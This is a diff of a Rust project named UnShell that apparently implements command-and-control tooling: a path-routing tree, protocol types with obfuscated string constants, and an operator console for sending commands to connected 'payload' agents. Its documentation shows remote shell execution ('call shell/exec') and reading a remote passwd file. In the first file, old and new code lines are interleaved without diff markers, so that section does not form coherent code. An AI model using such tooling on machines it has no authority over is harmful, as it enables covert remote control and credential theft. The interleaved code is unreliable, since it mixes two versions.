/// tree.register("/shell", Shell);
|
||||
///
|
||||
/// // A request to /shell/exec/anything matches /shell (the registered prefix).
|
||||
/// let resp = tree.dispatch(
|
||||
/// TreeRequest {
|
||||
/// request_id: 1,
|
||||
/// request_type: RequestType::CallProcedure,
|
||||
/// content_type: content::NONE.into(),
|
||||
/// data: Vec::new(),
|
||||
/// },
|
||||
/// "/shell/exec",
|
||||
/// );
|
||||
/// assert_eq!(resp.status, ResponseStatus::Ok);
|
||||
/// ```
|
||||
pub struct Tree {
|
||||
endpoints: Vec<(Box<dyn Endpoint>, Vec<String>)>,
|
||||
/// Registered endpoints with their path prefixes.
|
||||
///
|
||||
/// The path is stored as a `Vec<String>` of components (split on `/`,
|
||||
/// empty leading component from the leading `/` is discarded).
|
||||
endpoints: Vec<(Vec<String>, Box<dyn Endpoint>)>,
|
||||
}
|
||||
|
||||
impl Tree {
|
||||
pub fn add_endpoint<T: Endpoint + 'static>(&mut self, endpoint: T, path: Vec<String>) {
|
||||
self.add_endpoint_box(Box::new(endpoint), path);
|
||||
}
|
||||
pub fn add_endpoint_box(&mut self, endpoint: Box<dyn Endpoint>, path: Vec<String>) {
|
||||
self.endpoints.push((endpoint, path));
|
||||
}
|
||||
|
||||
pub fn get_endpoint(&mut self, search_path: &Vec<String>) -> Option<&mut Box<dyn Endpoint>> {
|
||||
for (endpoint, endpoint_path) in &mut self.endpoints {
|
||||
if search_path.len() < endpoint_path.len() {
|
||||
return None;
|
||||
}
|
||||
|
||||
for i in 0..endpoint_path.len() {
|
||||
if search_path[i] != endpoint_path[i] {
|
||||
return None;
|
||||
/// Create an empty tree with no registered endpoints.
|
||||
#[must_use]
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
endpoints: Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
return Some(endpoint);
|
||||
/// Register an endpoint at the given path prefix.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `path` — the path prefix this endpoint owns, e.g. `"/shell"`.
|
||||
/// Leading `/` is stripped; components are split on `/`.
|
||||
/// * `endpoint` — the handler that will receive matching requests.
|
||||
///
|
||||
/// # Panics
|
||||
///
|
||||
/// Does not panic. Registering the same path twice is allowed; the second
|
||||
/// registration shadows the first for that exact path (longest-prefix
|
||||
/// matching still applies for sub-paths).
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust
|
||||
/// use unshell::tree::{Tree, Endpoint};
|
||||
/// use unshell::protocol::{TreeRequest, TreeResponse, ResponseStatus, content};
|
||||
///
|
||||
/// struct Noop;
|
||||
/// impl Endpoint for Noop {
|
||||
/// fn handle(&mut self, req: TreeRequest) -> TreeResponse {
|
||||
/// TreeResponse {
|
||||
/// request_id: req.request_id,
|
||||
/// status: ResponseStatus::Ok,
|
||||
/// content_type: content::NONE.into(),
|
||||
/// data: Vec::new(),
|
||||
/// }
|
||||
/// }
|
||||
/// }
|
||||
///
|
||||
/// let mut tree = Tree::new();
|
||||
/// tree.register("/shell", Noop);
|
||||
/// ```
|
||||
pub fn register<E: Endpoint + 'static>(&mut self, path: &str, endpoint: E) {
|
||||
let components = split_path(path);
|
||||
self.endpoints.push((components, Box::new(endpoint)));
|
||||
}
|
||||
|
||||
return None;
|
||||
/// Dispatch a request to the best-matching endpoint.
|
||||
///
|
||||
/// Returns a [`TreeResponse`] with [`ResponseStatus::NoBranchError`]
|
||||
/// if no registered endpoint matches the request path.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `request` — the incoming request.
|
||||
/// * `dst_path` — the destination path from the packet header.
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust
|
||||
/// use unshell::tree::Tree;
|
||||
/// use unshell::protocol::{TreeRequest, RequestType, ResponseStatus, content};
|
||||
///
|
||||
/// let mut tree = Tree::new();
|
||||
/// // (register some endpoints here)
|
||||
///
|
||||
/// let resp = tree.dispatch(
|
||||
/// TreeRequest {
|
||||
/// request_id: 99,
|
||||
/// request_type: RequestType::Read,
|
||||
/// content_type: content::NONE.into(),
|
||||
/// data: Vec::new(),
|
||||
/// },
|
||||
/// "/unknown/path",
|
||||
/// );
|
||||
/// assert_eq!(resp.status, ResponseStatus::NoBranchError);
|
||||
/// ```
|
||||
pub fn dispatch(&mut self, request: TreeRequest, dst_path: &str) -> TreeResponse {
|
||||
let path_components = split_path(dst_path);
|
||||
|
||||
// Find the endpoint with the longest matching prefix.
|
||||
let best = self
|
||||
.endpoints
|
||||
.iter_mut()
|
||||
.filter(|(ep_path, _)| is_prefix(ep_path, &path_components))
|
||||
.max_by_key(|(ep_path, _)| ep_path.len());
|
||||
|
||||
match best {
|
||||
Some((_, endpoint)) => endpoint.handle(request),
|
||||
None => TreeResponse {
|
||||
request_id: request.request_id,
|
||||
status: ResponseStatus::NoBranchError,
|
||||
content_type: content::NONE.into(),
|
||||
data: Vec::new(),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
pub fn request(&mut self, request: TreeRequest) -> TreeRequest {
|
||||
if let Some(endpoint) = self.get_endpoint(&request.path) {
|
||||
endpoint.request(request)
|
||||
/// Return the list of registered path prefixes.
|
||||
///
|
||||
/// Used during handshake to tell the router which paths this tree owns.
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust
|
||||
/// use unshell::tree::{Tree, Endpoint};
|
||||
/// use unshell::protocol::{TreeRequest, TreeResponse, ResponseStatus, content};
|
||||
///
|
||||
/// struct Noop;
|
||||
/// impl Endpoint for Noop {
|
||||
/// fn handle(&mut self, req: TreeRequest) -> TreeResponse {
|
||||
/// TreeResponse {
|
||||
/// request_id: req.request_id,
|
||||
/// status: ResponseStatus::Ok,
|
||||
/// content_type: content::NONE.into(),
|
||||
/// data: Vec::new(),
|
||||
/// }
|
||||
/// }
|
||||
/// }
|
||||
///
|
||||
/// let mut tree = Tree::new();
|
||||
/// tree.register("/shell", Noop);
|
||||
/// tree.register("/files", Noop);
|
||||
///
|
||||
/// let paths = tree.registered_paths("/agents/abc123");
|
||||
/// assert!(paths.contains(&"/agents/abc123/shell".to_string()));
|
||||
/// assert!(paths.contains(&"/agents/abc123/files".to_string()));
|
||||
/// ```
|
||||
#[must_use]
|
||||
pub fn registered_paths(&self, base_prefix: &str) -> Vec<String> {
|
||||
let base = base_prefix.trim_end_matches('/');
|
||||
self.endpoints
|
||||
.iter()
|
||||
.map(|(components, _)| {
|
||||
let sub = components.join("/");
|
||||
if sub.is_empty() {
|
||||
base.to_owned()
|
||||
} else {
|
||||
TreeRequest {
|
||||
path: request.path,
|
||||
request_type: TreeRequestType::NoBranchError,
|
||||
content_type: types::TYPE_NONE.into(),
|
||||
data: Vec::with_capacity(0),
|
||||
alloc::format!("{base}/{sub}")
|
||||
}
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
}
|
||||
|
||||
impl Default for Tree {
|
||||
fn default() -> Self {
|
||||
Self::new()
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Path utilities
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Split a path string into its components.
|
||||
///
|
||||
/// Leading `/` and empty segments are discarded.
|
||||
///
|
||||
/// ```text
|
||||
/// "/shell/exec" → ["shell", "exec"]
|
||||
/// "/shell/" → ["shell"]
|
||||
/// "shell" → ["shell"]
|
||||
/// "/" → []
|
||||
/// ```
|
||||
fn split_path(path: &str) -> Vec<String> {
|
||||
path.split('/')
|
||||
.filter(|s| !s.is_empty())
|
||||
.map(String::from)
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Returns `true` if `prefix` is a prefix of (or equal to) `path`.
|
||||
///
|
||||
/// Both are slices of path components (already split on `/`).
|
||||
///
|
||||
/// ```text
|
||||
/// prefix = ["shell"] path = ["shell", "exec"] → true
|
||||
/// prefix = ["shell", "exec"] path = ["shell", "exec"] → true (exact match)
|
||||
/// prefix = ["shell", "exec"] path = ["shell"] → false (prefix longer)
|
||||
/// prefix = ["files"] path = ["shell", "exec"] → false (different root)
|
||||
/// ```
|
||||
fn is_prefix(prefix: &[String], path: &[String]) -> bool {
|
||||
if prefix.len() > path.len() {
|
||||
return false;
|
||||
}
|
||||
prefix.iter().zip(path.iter()).all(|(a, b)| a == b)
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Tests
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::protocol::{RequestType, ResponseStatus, content};
|
||||
|
||||
// A minimal endpoint that echoes the request data.
|
||||
struct Echo;
|
||||
impl Endpoint for Echo {
|
||||
fn handle(&mut self, req: TreeRequest) -> TreeResponse {
|
||||
TreeResponse {
|
||||
request_id: req.request_id,
|
||||
status: ResponseStatus::Ok,
|
||||
content_type: req.content_type,
|
||||
data: req.data,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub trait Endpoint {
|
||||
fn request(&mut self, request: TreeRequest) -> TreeRequest;
|
||||
// A minimal endpoint that always returns a fixed string.
|
||||
struct Fixed(&'static str);
|
||||
impl Endpoint for Fixed {
|
||||
fn handle(&mut self, req: TreeRequest) -> TreeResponse {
|
||||
TreeResponse {
|
||||
request_id: req.request_id,
|
||||
status: ResponseStatus::Ok,
|
||||
content_type: content::UTF8_STRING.into(),
|
||||
data: self.0.as_bytes().to_vec(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn make_req(id: u64) -> TreeRequest {
|
||||
TreeRequest {
|
||||
request_id: id,
|
||||
request_type: RequestType::Read,
|
||||
content_type: content::NONE.into(),
|
||||
data: Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
/// A single endpoint is matched correctly.
|
||||
#[test]
|
||||
fn single_endpoint_match() {
|
||||
let mut tree = Tree::new();
|
||||
tree.register("/shell", Echo);
|
||||
|
||||
let resp = tree.dispatch(make_req(1), "/shell/exec");
|
||||
assert_eq!(resp.status, ResponseStatus::Ok, "expected Ok for /shell/exec");
|
||||
assert_eq!(resp.request_id, 1);
|
||||
}
|
||||
|
||||
/// When two endpoints are registered, the second one is also reachable.
|
||||
///
|
||||
/// This test specifically catches the old `return None` bug in `get_endpoint`:
|
||||
/// the first endpoint (/files) doesn't match /shell/exec, so the tree must
|
||||
/// continue to the second entry (/shell).
|
||||
#[test]
|
||||
fn second_endpoint_match() {
|
||||
let mut tree = Tree::new();
|
||||
tree.register("/files", Fixed("files"));
|
||||
tree.register("/shell", Fixed("shell"));
|
||||
|
||||
let resp = tree.dispatch(make_req(2), "/shell/exec");
|
||||
assert_eq!(resp.status, ResponseStatus::Ok);
|
||||
assert_eq!(resp.data, b"shell");
|
||||
}
|
||||
|
||||
/// No matching endpoint returns NoBranchError.
|
||||
#[test]
|
||||
fn no_match_returns_no_branch_error() {
|
||||
let mut tree = Tree::new();
|
||||
tree.register("/shell", Echo);
|
||||
|
||||
let resp = tree.dispatch(make_req(3), "/nonexistent/path");
|
||||
assert_eq!(resp.status, ResponseStatus::NoBranchError);
|
||||
assert_eq!(resp.request_id, 3);
|
||||
}
|
||||
|
||||
/// Longer (more specific) prefix wins over shorter prefix.
|
||||
#[test]
|
||||
fn longer_prefix_wins() {
|
||||
let mut tree = Tree::new();
|
||||
tree.register("/shell", Fixed("short"));
|
||||
tree.register("/shell/exec", Fixed("long"));
|
||||
|
||||
let resp = tree.dispatch(make_req(4), "/shell/exec/anything");
|
||||
assert_eq!(resp.data, b"long", "longer prefix should win");
|
||||
}
|
||||
|
||||
/// A request path that is shorter than the registered prefix does not match.
|
||||
#[test]
|
||||
fn prefix_does_not_overmatch() {
|
||||
let mut tree = Tree::new();
|
||||
tree.register("/shell/exec/something", Echo);
|
||||
|
||||
// /shell/exec is shorter than the registered path — should NOT match
|
||||
let resp = tree.dispatch(make_req(5), "/shell/exec");
|
||||
assert_eq!(resp.status, ResponseStatus::NoBranchError);
|
||||
}
|
||||
|
||||
/// `registered_paths` returns all prefixes with the base path prepended.
|
||||
#[test]
|
||||
fn registered_paths_prepends_base() {
|
||||
let mut tree = Tree::new();
|
||||
tree.register("/shell", Echo);
|
||||
tree.register("/files", Echo);
|
||||
|
||||
let paths = tree.registered_paths("/agents/abc123");
|
||||
assert!(paths.contains(&"/agents/abc123/shell".to_string()));
|
||||
assert!(paths.contains(&"/agents/abc123/files".to_string()));
|
||||
assert_eq!(paths.len(), 2);
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Path utility tests
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
#[test]
|
||||
fn split_path_leading_slash() {
|
||||
assert_eq!(split_path("/shell/exec"), vec!["shell", "exec"]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn split_path_no_leading_slash() {
|
||||
assert_eq!(split_path("shell/exec"), vec!["shell", "exec"]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn split_path_trailing_slash() {
|
||||
assert_eq!(split_path("/shell/"), vec!["shell"]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn split_path_root() {
|
||||
let result: Vec<String> = split_path("/");
|
||||
assert!(result.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_prefix_exact_match() {
|
||||
let p = split_path("/shell/exec");
|
||||
assert!(is_prefix(&p, &p));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_prefix_valid() {
|
||||
let prefix = split_path("/shell");
|
||||
let path = split_path("/shell/exec");
|
||||
assert!(is_prefix(&prefix, &path));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_prefix_prefix_too_long() {
|
||||
let prefix = split_path("/shell/exec");
|
||||
let path = split_path("/shell");
|
||||
assert!(!is_prefix(&prefix, &path));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn is_prefix_different_root() {
|
||||
let prefix = split_path("/files");
|
||||
let path = split_path("/shell/exec");
|
||||
assert!(!is_prefix(&prefix, &path));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,39 +0,0 @@
|
||||
// use std::collections::VecDeque;
|
||||
|
||||
use alloc::{string::String, vec::Vec};
|
||||
use rkyv::{Archive, Deserialize, Serialize};
|
||||
|
||||
#[derive(Archive, Deserialize, Serialize)]
|
||||
#[rkyv(compare(PartialEq), derive(Debug))]
|
||||
pub struct TreeRequest {
|
||||
// The exact path that this packet should be heading down to
|
||||
pub path: Vec<String>,
|
||||
// // The list of previous paths that this packet came from
|
||||
// // This is the destination path added in reverse order
|
||||
// pub source_path: VecDeque<String>,
|
||||
pub request_type: TreeRequestType,
|
||||
|
||||
// The data type of the payload, to determine how to deserialize and interpret it on the other side
|
||||
// This is equivalent to HTTP's content-type header
|
||||
pub content_type: String,
|
||||
|
||||
// The payload of the packet
|
||||
pub data: Vec<u8>,
|
||||
}
|
||||
|
||||
#[derive(Archive, Deserialize, Serialize)]
|
||||
#[rkyv(compare(PartialEq), derive(Debug))]
|
||||
pub enum TreeRequestType {
|
||||
Return = 0,
|
||||
|
||||
Read = 1,
|
||||
GetProcedures = 2,
|
||||
|
||||
Write = 11,
|
||||
CallProcedure = 12,
|
||||
|
||||
UnnamedError = 100,
|
||||
NoBranchError = 101,
|
||||
ProtocolError = 102,
|
||||
ExecutionError = 103,
|
||||
}
|
||||
@@ -1,16 +0,0 @@
|
||||
use alloc::{string::String, vec::Vec};
|
||||
|
||||
use crate::obfuscate::sym;
|
||||
|
||||
pub const TYPE_NONE: &'static str = sym!("core/None");
|
||||
|
||||
pub const TYPE_PROCEDURE_CALL_DESCRIPTOR: &'static str = sym!("core/Procedure_call_descriptor");
|
||||
pub struct ProcedureCallDescriptor {
|
||||
name: String,
|
||||
}
|
||||
|
||||
pub const TYPE_PROCEDURE_CALL_DESCRIPTOR_LIST: &'static str =
|
||||
sym!("core/Procedure_call_descriptor_list");
|
||||
pub type ProcedureCallDescriptorList = Vec<ProcedureCallDescriptor>;
|
||||
|
||||
pub const TYPE_PROCEDURE_CALL_ARGUMENTS: &'static str = sym!("core/Procedure_call_arguments");
|
||||
@@ -0,0 +1,28 @@
|
||||
# =============================================================================
|
||||
# ush-cli — The UnShell Operator REPL
|
||||
# =============================================================================
|
||||
#
|
||||
# The operator CLI is a first-class node in the UnShell network, just like a
|
||||
# payload. It connects to the router, registers at /operator/<session_id>,
|
||||
# and provides an interactive REPL for issuing commands to connected payloads.
|
||||
#
|
||||
# Run with:
|
||||
# cargo run -p ush-cli -- --router 127.0.0.1:9000
|
||||
#
|
||||
# The CLI binary is NOT no_std — it uses the full standard library.
|
||||
|
||||
[package]
|
||||
name = "ush-cli"
|
||||
version.workspace = true
|
||||
edition.workspace = true
|
||||
description = "UnShell operator REPL binary"
|
||||
|
||||
[dependencies]
|
||||
unshell = { workspace = true, features = ["tcp", "log"] }
|
||||
crossbeam-channel = { workspace = true }
|
||||
thiserror = { workspace = true }
|
||||
rkyv = { workspace = true }
|
||||
rustyline = "18.0.0"
|
||||
|
||||
[lints]
|
||||
workspace = true
|
||||
@@ -0,0 +1,189 @@
|
||||
//! # REPL Command Parser
|
||||
//!
|
||||
//! Parses lines typed in the operator REPL into structured `Command` values.
|
||||
//!
|
||||
//! ## Supported commands
|
||||
//!
|
||||
//! | Command | Description |
|
||||
//! |---|---|
|
||||
//! | `list` | List all connected nodes |
|
||||
//! | `use <path>` | Set the current working path |
|
||||
//! | `ls [path]` | List procedures at `path` (or current path) |
|
||||
//! | `call <path> [data]` | Call a procedure at `path` |
|
||||
//! | `read <path>` | Read a value at `path` |
|
||||
//! | `write <path> <data>` | Write a value to `path` |
|
||||
//! | `background` | Background the current session |
|
||||
//! | `sessions` | List backgrounded sessions |
|
||||
//! | `exit` | Disconnect and quit |
|
||||
//! | `help` | Print this help |
|
||||
|
||||
/// A parsed REPL command.
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
pub enum Command {
|
||||
/// `list` — list all connected nodes via `/router/nodes`.
|
||||
List,
|
||||
/// `use <path>` — set the current working path.
|
||||
Use(String),
|
||||
/// `ls [path]` — `GetProcedures` at the given or current path.
|
||||
Ls(Option<String>),
|
||||
/// `call <path> [data]` — `CallProcedure` at `path` with optional `data`.
|
||||
Call { path: String, data: Option<String> },
|
||||
/// `read <path>` — `Read` at `path`.
|
||||
Read(String),
|
||||
/// `write <path> <data>` — `Write` at `path` with `data`.
|
||||
Write { path: String, data: String },
|
||||
/// `background` — push current session to background list.
|
||||
Background,
|
||||
/// `sessions` — list backgrounded sessions.
|
||||
Sessions,
|
||||
/// `exit` — disconnect and quit.
|
||||
Exit,
|
||||
/// `help` — print command help.
|
||||
Help,
|
||||
}
|
||||
|
||||
/// Parse a line of input into a `Command`.
|
||||
///
|
||||
/// Returns `None` if the line is empty or a comment (`#`).
|
||||
/// Returns `Err` if the line cannot be parsed as a valid command.
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust
|
||||
/// use ush_cli::commands::{parse, Command};
|
||||
///
|
||||
/// assert_eq!(parse("list").unwrap(), Some(Command::List));
|
||||
/// assert_eq!(parse("use /agents/abc123").unwrap(), Some(Command::Use("/agents/abc123".into())));
|
||||
/// assert_eq!(parse("").unwrap(), None);
|
||||
/// assert_eq!(parse(" # comment").unwrap(), None);
|
||||
/// ```
|
||||
///
|
||||
/// # Errors
|
||||
///
|
||||
/// Returns an error string if the command name is unrecognised or the
|
||||
/// arguments are malformed.
|
||||
pub fn parse(line: &str) -> Result<Option<Command>, String> {
|
||||
let trimmed = line.trim();
|
||||
|
||||
// Empty lines and comments
|
||||
if trimmed.is_empty() || trimmed.starts_with('#') {
|
||||
return Ok(None);
|
||||
}
|
||||
|
||||
let mut parts = trimmed.splitn(3, ' ');
|
||||
let cmd = parts.next().unwrap_or("");
|
||||
let arg1 = parts.next().map(str::trim);
|
||||
let arg2 = parts.next().map(str::trim);
|
||||
|
||||
match cmd {
|
||||
"list" => Ok(Some(Command::List)),
|
||||
"use" => {
|
||||
let path = arg1.ok_or("usage: use <path>")?;
|
||||
Ok(Some(Command::Use(path.to_owned())))
|
||||
}
|
||||
"ls" => Ok(Some(Command::Ls(arg1.map(str::to_owned)))),
|
||||
"call" => {
|
||||
let path = arg1.ok_or("usage: call <path> [data]")?;
|
||||
Ok(Some(Command::Call {
|
||||
path: path.to_owned(),
|
||||
data: arg2.map(str::to_owned),
|
||||
}))
|
||||
}
|
||||
"read" => {
|
||||
let path = arg1.ok_or("usage: read <path>")?;
|
||||
Ok(Some(Command::Read(path.to_owned())))
|
||||
}
|
||||
"write" => {
|
||||
let path = arg1.ok_or("usage: write <path> <data>")?;
|
||||
let data = arg2.ok_or("usage: write <path> <data>")?;
|
||||
Ok(Some(Command::Write {
|
||||
path: path.to_owned(),
|
||||
data: data.to_owned(),
|
||||
}))
|
||||
}
|
||||
"background" | "bg" => Ok(Some(Command::Background)),
|
||||
"sessions" => Ok(Some(Command::Sessions)),
|
||||
"exit" | "quit" | "q" => Ok(Some(Command::Exit)),
|
||||
"help" | "?" => Ok(Some(Command::Help)),
|
||||
other => Err(format!("unknown command: {other}. Type 'help' for a list.")),
|
||||
}
|
||||
}
|
||||
|
||||
/// Print the help text for all available commands.
|
||||
pub fn print_help() {
|
||||
println!("Available commands:");
|
||||
println!(" list List all connected nodes");
|
||||
println!(" use <path> Set working path (e.g., use agents/abc123)");
|
||||
println!(" ls [path] List available procedures");
|
||||
println!(" call <path> [data] Call a procedure");
|
||||
println!(" read <path> Read a value");
|
||||
println!(" write <path> <data> Write a value");
|
||||
println!(" background Background current session");
|
||||
println!(" sessions List backgrounded sessions");
|
||||
println!(" exit Disconnect and quit");
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Tests
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn parse_empty() {
|
||||
assert_eq!(parse("").unwrap(), None);
|
||||
assert_eq!(parse(" ").unwrap(), None);
|
||||
assert_eq!(parse("# comment").unwrap(), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parse_list() {
|
||||
assert_eq!(parse("list").unwrap(), Some(Command::List));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parse_use() {
|
||||
assert_eq!(
|
||||
parse("use /agents/abc123").unwrap(),
|
||||
Some(Command::Use("/agents/abc123".into()))
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parse_ls_no_arg() {
|
||||
assert_eq!(parse("ls").unwrap(), Some(Command::Ls(None)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parse_ls_with_arg() {
|
||||
assert_eq!(
|
||||
parse("ls shell").unwrap(),
|
||||
Some(Command::Ls(Some("shell".into())))
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parse_call_with_data() {
|
||||
assert_eq!(
|
||||
parse("call shell/exec ls -la").unwrap(),
|
||||
Some(Command::Call {
|
||||
path: "shell/exec".into(),
|
||||
data: Some("ls -la".into()),
|
||||
})
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parse_exit_aliases() {
|
||||
assert_eq!(parse("exit").unwrap(), Some(Command::Exit));
|
||||
assert_eq!(parse("quit").unwrap(), Some(Command::Exit));
|
||||
assert_eq!(parse("q").unwrap(), Some(Command::Exit));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parse_unknown_command() {
|
||||
assert!(parse("foobar").is_err());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
//! # ush-cli — UnShell Operator REPL
|
||||
//!
|
||||
//! The operator CLI connects to the router as a first-class node and provides
|
||||
//! an interactive shell for issuing commands to connected payload nodes.
|
||||
//!
|
||||
//! ## Usage
|
||||
//!
|
||||
//! ```text
|
||||
//! ush-cli --router 127.0.0.1:9000
|
||||
//! ```
|
||||
//!
|
||||
//! ## REPL commands
|
||||
//!
|
||||
//! ```text
|
||||
//! unshell> list # list all connected nodes
|
||||
//! unshell> use agents/abc123 # set working path prefix
|
||||
//! unshell [agents/abc123]> ls # GetProcedures at current path
|
||||
//! unshell [agents/abc123]> call shell/exec "ls -la"
|
||||
//! unshell [agents/abc123]> read files/passwd
|
||||
//! unshell [agents/abc123]> background # detach, keep in session list
|
||||
//! unshell> sessions # list background sessions
|
||||
//! unshell> exit # disconnect and quit
|
||||
//! ```
|
||||
|
||||
mod commands;
|
||||
mod repl;
|
||||
mod session;
|
||||
|
||||
fn main() {
|
||||
// TODO: parse --router argument
|
||||
let router_addr = "127.0.0.1:9000";
|
||||
repl::run(router_addr).expect("repl failed");
|
||||
}
|
||||
@@ -0,0 +1,336 @@
|
||||
//! # REPL Core
|
||||
//!
|
||||
//! The main interactive loop for the operator CLI.
|
||||
//!
|
||||
//! ## Flow
|
||||
//!
|
||||
//! ```text
|
||||
//! run()
|
||||
//! ↓
|
||||
//! connect to router → handshake → register as operator node
|
||||
//! ↓
|
||||
//! start recv thread (router → operator messages)
|
||||
//! ↓
|
||||
//! main thread: readline loop
|
||||
//! parse command
|
||||
//! execute (may send TreeRequest over transport)
|
||||
//! print response
|
||||
//! ```
|
||||
//!
|
||||
//! ## Threading model
|
||||
//!
|
||||
//! The transport is shared between:
|
||||
//! - The main thread (sends requests, prints responses).
|
||||
//! - A background recv thread (receives unsolicited messages from the router,
|
||||
//! e.g., node-connected notifications — future feature).
|
||||
//!
|
||||
//! In v1, the main thread does both send and receive synchronously (blocking
|
||||
//! recv after each send). The recv thread is reserved for future async notifications.
|
||||
|
||||
use std::sync::atomic::{AtomicU64, Ordering};
|
||||
use std::sync::{Arc, Mutex};
|
||||
|
||||
use rustyline::error::ReadlineError;
|
||||
use rustyline::DefaultEditor;
|
||||
|
||||
use unshell::protocol::{
|
||||
content, HandshakeAck, HandshakeMessage, NodeType,
|
||||
PacketHeader, PacketType, RequestType, TreeRequest,
|
||||
};
|
||||
use unshell::transport::tcp::TcpTransport;
|
||||
use unshell::transport::Transport;
|
||||
|
||||
use crate::commands::{self, Command};
|
||||
use crate::session::Session;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Request ID counter
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Monotonically increasing request ID generator.
|
||||
///
|
||||
/// Generates unique IDs so the operator can correlate responses to requests
|
||||
/// in the future when multiple requests are in-flight concurrently.
|
||||
static REQUEST_COUNTER: AtomicU64 = AtomicU64::new(1);
|
||||
|
||||
fn next_request_id() -> u64 {
|
||||
REQUEST_COUNTER.fetch_add(1, Ordering::SeqCst)
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Entry point
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Start the operator REPL, connecting to `router_addr`.
|
||||
///
|
||||
/// Blocks until the user types `exit` or the connection is lost.
|
||||
///
|
||||
/// # Errors
|
||||
///
|
||||
/// Returns an error if the connection or handshake fails.
|
||||
pub fn run(router_addr: &str) -> Result<(), Box<dyn std::error::Error>> {
|
||||
println!("UnShell operator console");
|
||||
println!("Connecting to {}...", router_addr);
|
||||
|
||||
let mut transport = TcpTransport::connect(router_addr)?;
|
||||
let session_id = format!("sess{}", std::process::id());
|
||||
let base_path = format!("/operator/{session_id}");
|
||||
|
||||
// Handshake
|
||||
let handshake = HandshakeMessage {
|
||||
node_id: session_id.clone(),
|
||||
node_type: NodeType::Operator,
|
||||
registered_paths: vec![base_path.clone()],
|
||||
platform: "operator".to_owned(),
|
||||
};
|
||||
let handshake_payload = rkyv::to_bytes::<rkyv::rancor::Error>(&handshake)
|
||||
.map_err(|e| format!("failed to serialise handshake: {e}"))?;
|
||||
let handshake_header = PacketHeader {
|
||||
dst_path: "/router".to_owned(),
|
||||
src_path: base_path.clone(),
|
||||
packet_type: PacketType::Handshake,
|
||||
};
|
||||
transport.send(&handshake_header, &handshake_payload)?;
|
||||
|
||||
let (_, ack_payload) = transport.recv()?;
|
||||
let ack: HandshakeAck =
|
||||
rkyv::from_bytes::<HandshakeAck, rkyv::rancor::Error>(&ack_payload)
|
||||
.map_err(|e| format!("failed to deserialise ack: {e}"))?;
|
||||
|
||||
if !ack.accepted {
|
||||
return Err(format!(
|
||||
"router rejected: {}",
|
||||
ack.rejection_reason.unwrap_or_default()
|
||||
)
|
||||
.into());
|
||||
}
|
||||
|
||||
println!("Connected. Type 'help' for commands.");
|
||||
|
||||
// Wrap transport in a Mutex for shared access
|
||||
let transport = Arc::new(Mutex::new(transport));
|
||||
|
||||
// REPL state
|
||||
let mut current_session = Session::new("default", "/");
|
||||
let mut background_sessions: Vec<Session> = Vec::new();
|
||||
|
||||
// Readline editor with history
|
||||
let mut rl = DefaultEditor::new()?;
|
||||
|
||||
loop {
|
||||
let prompt = if current_session.current_path == "/" {
|
||||
"unshell> ".to_owned()
|
||||
} else {
|
||||
let short = current_session
|
||||
.current_path
|
||||
.trim_start_matches("/agents/")
|
||||
.trim_start_matches("/operator/");
|
||||
format!("unshell [{short}]> ")
|
||||
};
|
||||
|
||||
let readline = rl.readline(&prompt);
|
||||
match readline {
|
||||
Ok(line) => {
|
||||
rl.add_history_entry(line.as_str())
|
||||
.unwrap_or_default();
|
||||
|
||||
match commands::parse(&line) {
|
||||
Ok(None) => {} // empty / comment
|
||||
Ok(Some(cmd)) => {
|
||||
if !handle_command(
|
||||
cmd,
|
||||
&mut current_session,
|
||||
&mut background_sessions,
|
||||
&base_path,
|
||||
&transport,
|
||||
) {
|
||||
break; // exit command
|
||||
}
|
||||
}
|
||||
Err(e) => println!("error: {e}"),
|
||||
}
|
||||
}
|
||||
Err(ReadlineError::Interrupted | ReadlineError::Eof) => {
|
||||
println!("Disconnecting...");
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
